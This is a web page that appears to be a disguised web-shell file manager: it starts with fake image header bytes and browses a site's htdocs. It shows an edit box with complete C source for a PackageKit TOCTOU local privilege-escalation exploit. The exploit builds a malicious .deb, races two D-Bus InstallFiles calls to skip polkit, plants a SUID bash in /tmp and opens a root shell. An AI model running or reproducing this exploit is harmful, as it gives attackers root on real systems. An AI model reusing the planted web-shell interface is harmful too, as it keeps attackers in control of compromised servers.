�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fxpl2026%2F'>xpl2026</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fxpl2026%2FCVE-2026-41651%2F'>CVE-2026-41651</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fxpl2026%2FCVE-2026-41651%2Fsrc%2F'>src</a>/</p><hr><h3>✏️ Editing: cve-2026-41651.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
 * Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU Local Privilege Escalation
 *
 * Affected : PackageKit 1.0.2 – 1.3.4
 * Fixed in : PackageKit 1.3.5 (commit 76cfb675)
 *
 * Root cause — three cooperating bugs in src/pk-transaction.c:
 *
 *   BUG 1 [line 4036]      InstallFiles() stores cached_transaction_flags and
 *                           cached_full_paths unconditionally; no state guard.
 *
 *   BUG 2 [lines 876-881]  pk_transaction_set_state() silently rejects backward
 *                           transitions (READY→WAITING_FOR_AUTH); flags already
 *                           overwritten.
 *
 *   BUG 3 [lines 2273-2277] pk_transaction_run() reads cached flags at dispatch
 *                            time, not at authorisation time.
 *
 *   BYPASS[lines 2893-2900] SIMULATE flag (pk_bitfield_value=1&lt;&lt;2=4) skips polkit.
 *
 * Attack (zero-interaction, no polkit prompt):
 *
 *   1. InstallFiles(SIMULATE, dummy.deb)
 *        → polkit bypassed → state = READY
 *        → g_idle_add(pk_scheduler_run_idle_cb)   [dispatch queued]
 *
 *   2. InstallFiles(NONE, payload.deb)              [BUG 1 – before idle fires]
 *        → cached_transaction_flags ← NONE
 *        → cached_full_paths        ← [payload.deb]
 *        → set_state(WAITING_FOR_AUTH) silently rejected  [BUG 2]
 *
 *   3. GLib idle fires → pk_transaction_run()       [BUG 3]
 *        → reads NONE flags + payload.deb
 *        → postinst runs as root → SUID bash → root shell
 *
 * Compile: make  (see Makefile)
 * Usage  : ./cve-2026-41651
 */

#define _GNU_SOURCE
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;stdint.h&gt;
#include &lt;unistd.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/file.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;time.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;glib.h&gt;
#include &lt;gio/gio.h&gt;

/* ── config ────────────────────────────────────────────────────────────────── */
#define SUID_PATH     &quot;/tmp/.suid_bash&quot;
#define PK_BUS        &quot;org.freedesktop.PackageKit&quot;
#define PK_OBJ        &quot;/org/freedesktop/PackageKit&quot;
#define PK_IFACE      &quot;org.freedesktop.PackageKit&quot;
#define PK_TX_IFACE   &quot;org.freedesktop.PackageKit.Transaction&quot;
#define FLAG_NONE     ((guint64)0)
#define FLAG_SIMULATE ((guint64)(1u &lt;&lt; 2))   /* bypasses polkit: pk_bitfield_value(PK_TRANSACTION_FLAG_ENUM_SIMULATE=2) */

/* ── utilities ─────────────────────────────────────────────────────────────── */
static void G_GNUC_NORETURN die(const char *m) { fprintf(stderr,&quot;[-] %s\n&quot;,m); exit(1); }

/* ── CRC-32 (ISO 3309) ─────────────────────────────────────────────────────── */
static uint32_t crc_tab[256];
static void crc_init(void) {
    for (unsigned i = 0; i &lt; 256; i++) {
        uint32_t c = i;
        for (int j = 0; j &lt; 8; j++) c = (c&amp;1)?(0xedb88320u^(c&gt;&gt;1)):(c&gt;&gt;1);
        crc_tab[i] = c;
    }
}
static uint32_t crc32(const void *src, size_t n) {
    const uint8_t *p = src; uint32_t c = 0xffffffffu;
    while (n--) c = crc_tab[(c^*p++)&amp;0xff]^(c&gt;&gt;8);
    return c^0xffffffffu;
}

/* ── gzip (stored deflate block, max 65535 B) ─────────────────────────────── */
static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
{
    if (len &gt; 0xffff) return 0;
    uint8_t *p = dst;
    /* header */
    *p++=0x1f; *p++=0x8b; *p++=0x08; *p++=0x00;
    p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++=0x00; *p++=0xff;
    /* stored block */
    uint16_t ln=len, nln=~ln;
    *p++=0x01; memcpy(p,&amp;ln,2); p+=2; memcpy(p,&amp;nln,2); p+=2;
    memcpy(p,src,len); p+=len;
    /* trailer */
    uint32_t c=crc32(src,len), s=(uint32_t)len;
    memcpy(p,&amp;c,4); p+=4; memcpy(p,&amp;s,4); p+=4;
    return p-dst;
}

/* ── ustar tar entry (512-byte header + padded data) ──────────────────────── */
static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
                        size_t dlen, mode_t mode, char type)
{
    memset(buf,0,512);
    snprintf((char*)buf,      100,&quot;%s&quot;,name);
    snprintf((char*)buf+100,    8,&quot;%07o&quot;,(unsigned)mode);
    snprintf((char*)buf+108,    8,&quot;%07o&quot;,0u);
    snprintf((char*)buf+116,    8,&quot;%07o&quot;,0u);
    snprintf((char*)buf+124,   12,&quot;%011o&quot;, (unsigned)dlen);
    snprintf((char*)buf+136,   12,&quot;%011o&quot;, (unsigned)time(NULL));
    memset(buf+148,&#039; &#039;,8);
    buf[156]=type;
    memcpy(buf+257,&quot;ustar&quot;,5); memcpy(buf+263,&quot;00&quot;,2);
    unsigned sum=0; for(int i=0;i&lt;512;i++) sum+=buf[i];
    snprintf((char*)buf+148,8,&quot;%06o&quot;,sum);
    buf[154]=&#039;\0&#039;; buf[155]=&#039; &#039;;
    size_t pad=dlen?((dlen+511)/512)*512:0;
    if(dlen&amp;&amp;data) memcpy(buf+512,data,dlen);
    if(pad&gt;dlen)   memset(buf+512+dlen,0,pad-dlen);
    return 512+pad;
}

/* ── ar member ─────────────────────────────────────────────────────────────── */
static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
{
    char h[61]; memset(h,&#039; &#039;,60); h[60]=0;
    char t[17]; snprintf(t,17,&quot;%-16s&quot;,name); memcpy(h,t,16);
    snprintf(t,13,&quot;%-12lu&quot;,(unsigned long)time(NULL)); memcpy(h+16,t,12);
    memcpy(h+28,&quot;0     &quot;,6); memcpy(h+34,&quot;0     &quot;,6);
    memcpy(h+40,&quot;100644  &quot;,8);
    snprintf(t,11,&quot;%-10zu&quot;,sz); memcpy(h+48,t,10);
    h[58]=&#039;`&#039;; h[59]=&#039;\n&#039;;
    fwrite(h,1,60,f); fwrite(data,1,sz,f);
    if(sz%2) fputc(&#039;\n&#039;,f);
}

/* ── assemble a minimal .deb entirely in C ────────────────────────────────── */
static void build_deb(const char *dest, const char *pkg, const char *postinst)
{
    static uint8_t tarbuf[65536], gzbuf[65536+256];
    memset(tarbuf,0,sizeof tarbuf);
    crc_init();
    size_t off=0;

    char ctrl[512];
    snprintf(ctrl,sizeof ctrl,
             &quot;Package: %s\nVersion: 1.0\nArchitecture: all\n&quot;
             &quot;Maintainer: PoC\nDescription: PoC\n&quot;, pkg);

    off += tar_entry(tarbuf+off,&quot;./&quot;,NULL,0,0755,&#039;5&#039;);
    off += tar_entry(tarbuf+off,&quot;./control&quot;,ctrl,strlen(ctrl),0644,&#039;0&#039;);
    if(postinst)
        off += tar_entry(tarbuf+off,&quot;./postinst&quot;,postinst,strlen(postinst),0755,&#039;0&#039;);
    off += 1024;   /* end-of-archive (two 512-byte zero blocks) */

    size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
    if(!ctrl_gz_len) die(&quot;gzip_store failed&quot;);

    static uint8_t empty_tar[1024], data_gz[256];
    memset(empty_tar,0,sizeof empty_tar);
    size_t data_gz_len = gzip_store(empty_tar,sizeof empty_tar,data_gz);

    FILE *f = fopen(dest,&quot;wb&quot;);
    if(!f) die(&quot;fopen .deb&quot;);
    fwrite(&quot;!&lt;arch&gt;\n&quot;,1,8,f);
    ar_entry(f,&quot;debian-binary&quot;,&quot;2.0\n&quot;,4);
    ar_entry(f,&quot;control.tar.gz&quot;,gzbuf,ctrl_gz_len);
    ar_entry(f,&quot;data.tar.gz&quot;,data_gz,data_gz_len);
    fclose(f);
}

/* ── PackageKit D-Bus context ──────────────────────────────────────────────── */
typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } Ctx;

static void cb_finished(GDBusConnection*c G_GNUC_UNUSED, const gchar*s G_GNUC_UNUSED,
    const gchar*o G_GNUC_UNUSED, const gchar*i G_GNUC_UNUSED, const gchar*n G_GNUC_UNUSED,
    GVariant *p, gpointer u)
{
    Ctx *ctx=u; guint32 ec,rt;
    g_variant_get(p,&quot;(uu)&quot;,&amp;ec,&amp;rt);
    printf(&quot;[*] Finished (exit=%u, %u ms)\n&quot;,ec,rt);
    ctx-&gt;exit_code=ec; ctx-&gt;done=TRUE;
    g_main_loop_quit(ctx-&gt;loop);
}

static void cb_error(GDBusConnection*c G_GNUC_UNUSED, const gchar*s G_GNUC_UNUSED,
    const gchar*o G_GNUC_UNUSED, const gchar*i G_GNUC_UNUSED, const gchar*n G_GNUC_UNUSED,
    GVariant *p, gpointer u G_GNUC_UNUSED)
{
    guint32 code; const gchar *det;
    g_variant_get(p,&quot;(u&amp;s)&quot;,&amp;code,&amp;det);
    printf(&quot;[!] PK error %u: %s\n&quot;,code,det);
    fflush(stdout);
}

/* PK status enum values (from pk-enum.h) */
static const char *pk_status_str(guint32 s) {
    static const char *t[] = {
        &quot;UNKNOWN&quot;,&quot;WAIT&quot;,&quot;SETUP&quot;,&quot;RUNNING&quot;,&quot;QUERY&quot;,&quot;INFO&quot;,&quot;REMOVE&quot;,&quot;REFRESH_CACHE&quot;,
        &quot;DOWNLOAD&quot;,&quot;INSTALL&quot;,&quot;UPDATE&quot;,&quot;CLEANUP&quot;,&quot;OBSOLETE&quot;,&quot;DEP_RESOLVE&quot;,&quot;SIG_CHECK&quot;,
        &quot;ROLLBACK&quot;,&quot;COMMIT&quot;,&quot;REQUEST&quot;,&quot;FINISHED&quot;,&quot;CANCEL&quot;,&quot;WAITING_FOR_LOCK&quot;,
        &quot;SCAN_PROCESS_LIST&quot;,&quot;CHECK_EXECUTABLE_FILES&quot;,&quot;CHECK_LIBRARIES&quot;,&quot;COPY_FILES&quot;
    };
    return s &lt; 25 ? t[s] : &quot;?&quot;;
}

static void cb_status(GDBusConnection*c G_GNUC_UNUSED, const gchar*s G_GNUC_UNUSED,
    const gchar*o G_GNUC_UNUSED, const gchar*i G_GNUC_UNUSED, const gchar*n G_GNUC_UNUSED,
    GVariant *p, gpointer u G_GNUC_UNUSED)
{
    guint32 st;
    g_variant_get(p,&quot;(u)&quot;,&amp;st);
    printf(&quot;[*] Status: %u (%s)\n&quot;, st, pk_status_str(st));
    fflush(stdout);
}

static gboolean cb_timeout(gpointer u)
{
    fputs(&quot;[-] Timed out\n&quot;,stderr);
    g_main_loop_quit(u);
    return G_SOURCE_REMOVE;
}

static char *pk_create_tx(GDBusConnection *conn)
{
    GError *e=NULL;
    GVariant *r=g_dbus_connection_call_sync(conn,PK_BUS,PK_OBJ,PK_IFACE,
        &quot;CreateTransaction&quot;,NULL,G_VARIANT_TYPE(&quot;(o)&quot;),
        G_DBUS_CALL_FLAGS_NONE,-1,NULL,&amp;e);
    if(!r){ fprintf(stderr,&quot;[-] CreateTransaction: %s\n&quot;,e-&gt;message); g_error_free(e); return NULL; }
    const gchar *tid; g_variant_get(r,&quot;(&amp;o)&quot;,&amp;tid);
    char *copy=g_strdup(tid); g_variant_unref(r);
    return copy;
}

/* fire-and-forget: both messages must hit the server socket before the
 * GLib idle from Step 1 fires.  Using async calls lets us enqueue Step 1
 * AND Step 2 into the kernel socket buffer in one shot, so the server&#039;s
 * main-loop dispatches Step 2 (priority 0) before the idle (priority 200). */
static void pk_install_files_async(GDBusConnection *conn, const char *tid,
                                   guint64 flags, const char *path)
{
    const char *paths[]={path,NULL};
    g_dbus_connection_call(conn,PK_BUS,tid,PK_TX_IFACE,
        &quot;InstallFiles&quot;,g_variant_new(&quot;(t^as)&quot;,flags,paths),
        NULL,G_DBUS_CALL_FLAGS_NONE,-1,NULL,NULL,NULL);
}

/* ── main ──────────────────────────────────────────────────────────────────── */
int main(void)
{
    puts(&quot;═══════════════════════════════════════════════════&quot;);
    puts(&quot; CVE-2026-41651 — PackageKit TOCTOU LPE&quot;);
    puts(&quot;═══════════════════════════════════════════════════&quot;);

    if(geteuid()==0) die(&quot;Run as unprivileged user&quot;);
    if(access(&quot;/etc/debian_version&quot;,F_OK)!=0)
        die(&quot;Debian/Ubuntu required for built-in .deb builder&quot;);

    /* build packages in /tmp */
    char dummy[64], payload[64];
    snprintf(dummy,  sizeof dummy,  &quot;/tmp/.pk-dummy-%d.deb&quot;,  getpid());
    snprintf(payload,sizeof payload,&quot;/tmp/.pk-payload-%d.deb&quot;,getpid());

    char postinst[128];
    snprintf(postinst,sizeof postinst,&quot;#!/bin/sh\ninstall -m 4755 /bin/bash %s\n&quot;,SUID_PATH);

    puts(&quot;[*] Building packages (pure C)...&quot;);
    build_deb(dummy,   &quot;pk-poc-dummy&quot;,   NULL);
    build_deb(payload, &quot;pk-poc-payload&quot;, postinst);

    if(access(dummy,F_OK)!=0||access(payload,F_OK)!=0)
        die(&quot;deb build failed&quot;);

    printf(&quot;[+] dummy   : %s\n&quot;, dummy);
    printf(&quot;[+] payload : %s\n&quot;, payload);

    /* D-Bus setup */
    GError *err=NULL;
    GDBusConnection *conn=g_bus_get_sync(G_BUS_TYPE_SYSTEM,NULL,&amp;err);
    if(!conn){ fprintf(stderr,&quot;[-] %s\n&quot;,err-&gt;message); g_error_free(err); return 1; }

    char *tid=pk_create_tx(conn);
    if(!tid) return 1;
    printf(&quot;[*] Transaction : %s\n&quot;,tid);

    Ctx ctx={ .loop=g_main_loop_new(NULL,FALSE), .done=FALSE };
    guint sf=g_dbus_connection_signal_subscribe(conn,PK_BUS,PK_TX_IFACE,&quot;Finished&quot;,
        tid,NULL,G_DBUS_SIGNAL_FLAGS_NONE,cb_finished,&amp;ctx,NULL);
    guint se=g_dbus_connection_signal_subscribe(conn,PK_BUS,PK_TX_IFACE,&quot;ErrorCode&quot;,
        tid,NULL,G_DBUS_SIGNAL_FLAGS_NONE,cb_error,NULL,NULL);
    guint ss=g_dbus_connection_signal_subscribe(conn,PK_BUS,PK_TX_IFACE,&quot;StatusChanged&quot;,
        tid,NULL,G_DBUS_SIGNAL_FLAGS_NONE,cb_status,NULL,NULL);

    /* ── EXPLOIT ─────────────────────────────────────────────────────────
     *
     * Both D-Bus calls are fire-and-forget so they land in the server&#039;s
     * socket buffer together, BEFORE packagekitd&#039;s main-loop can run the
     * GLib idle queued by Step 1.  Priority ordering then guarantees:
     *   D-Bus dispatch (priority 0) &gt; idle callback (priority 200)
     * so the server executes:
     *   Step 1  → idle queued, state=RUNNING
     *   Step 2  → BUG 1 overwrites cached_* with payload.deb + NONE
     *   idle    → BUG 3: pk_transaction_run reads overwritten cached_*
     *             → postinst runs as root → SUID bash
     * ─────────────────────────────────────────────────────────────────── */
    printf(&quot;[*] Step 1 : InstallFiles(SIMULATE=0x%llx, dummy) [async]\n&quot;,
           (unsigned long long)FLAG_SIMULATE);
    pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);

    printf(&quot;[*] Step 2 : InstallFiles(NONE=0x%llx, payload) [async]\n&quot;,
           (unsigned long long)FLAG_NONE);
    pk_install_files_async(conn, tid, FLAG_NONE, payload);

    /* flush: ensure both messages are in the kernel socket buffer before
     * the server&#039;s main-loop gets a chance to run the idle. */
    {
        GError *fe = NULL;
        if (!g_dbus_connection_flush_sync(conn, NULL, &amp;fe)) {
            fprintf(stderr,&quot;[!] flush: %s\n&quot;, fe ? fe-&gt;message : &quot;?&quot;);
            g_clear_error(&amp;fe);
        }
    }

    puts(&quot;[*] Waiting for dispatch (30 s max)...&quot;);
    {
        struct timespec ts0, ts1;
        clock_gettime(CLOCK_MONOTONIC, &amp;ts0);
        g_timeout_add_seconds(30, cb_timeout, ctx.loop);
        g_main_loop_run(ctx.loop);
        clock_gettime(CLOCK_MONOTONIC, &amp;ts1);
        printf(&quot;[*] Loop ran for %ld ms\n&quot;,
               (ts1.tv_sec-ts0.tv_sec)*1000+(ts1.tv_nsec-ts0.tv_nsec)/1000000);
    }

    g_dbus_connection_signal_unsubscribe(conn,sf);
    g_dbus_connection_signal_unsubscribe(conn,se);
    g_dbus_connection_signal_unsubscribe(conn,ss);
    /* do NOT unlink debs until after postinst completes */
    g_free(tid); g_object_unref(conn);

    /* Poll for the SUID bash for up to 120 seconds.
     * The APT backend may still be running after polkitd fires. */
    puts(&quot;[*] Polling for payload (120 s max)...&quot;);
    struct stat st;
    int appeared_at = -1;
    for (int i = 0; i &lt; 1200; i++) {
        usleep(100000); /* 100 ms */
        if (i % 10 == 0) {
            /* Every second: check whether dpkg lock is actually held (flock test) */
            int lock_fd = open(&quot;/var/lib/dpkg/lock&quot;, O_RDONLY);
            int lock_held = 0;
            if (lock_fd &gt;= 0) {
                lock_held = flock(lock_fd, LOCK_EX|LOCK_NB) != 0;
                if (!lock_held) flock(lock_fd, LOCK_UN);
                close(lock_fd);
            }
            printf(&quot;[*] t+%ds: payload=%s dpkg_lock=%s suid=%s\n&quot;,
                   (i/10)+1,
                   access(payload, F_OK) == 0 ? &quot;exists&quot; : &quot;GONE&quot;,
                   lock_held ? &quot;HELD&quot; : &quot;free&quot;,
                   access(SUID_PATH, F_OK) == 0 ? &quot;FOUND&quot; : &quot;not yet&quot;);
            fflush(stdout);
        }
        if (stat(SUID_PATH,&amp;st)==0 &amp;&amp; (st.st_mode&amp;S_ISUID)) {
            appeared_at = i;
            break;
        }
    }
    unlink(dummy); unlink(payload);

    if (appeared_at &gt;= 0) {
        printf(&quot;\n[+] SUCCESS — SUID bash at t+%dms\n&quot;, appeared_at * 100);
        pid_t p = fork();
        if (p == 0) {
            char *argv[]={ SUID_PATH, &quot;-p&quot;, &quot;-c&quot;, &quot;id&quot;, NULL };
            execv(SUID_PATH, argv);
            perror(&quot;execv&quot;); _exit(1);
        } else if (p &gt; 0) {
            int status; waitpid(p, &amp;status, 0);
        }
        fflush(stdout);
        if (isatty(STDIN_FILENO)) {
            char *ttydev = ttyname(STDIN_FILENO);
            pid_t child = fork();
            if (child == 0) {
                setsid();
                if (ttydev) {
                    int t = open(ttydev, O_RDWR);
                    if (t &gt;= 0) {
                        ioctl(t, TIOCSCTTY, 1);
                        dup2(t, 0); dup2(t, 1); dup2(t, 2);
                        if (t &gt; 2) close(t);
                    }
                }
                char *argv[]={ SUID_PATH, &quot;-p&quot;, NULL };
                execv(SUID_PATH, argv);
                _exit(1);
            }
            if (child &gt; 0) { int s; waitpid(child, &amp;s, 0); }
        }
        return 0;
    }

    puts(&quot;[-] Exploit failed — SUID bash never appeared.&quot;);
    return 1;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fxpl2026%2FCVE-2026-41651%2Fsrc'>🔙 Back</a></p>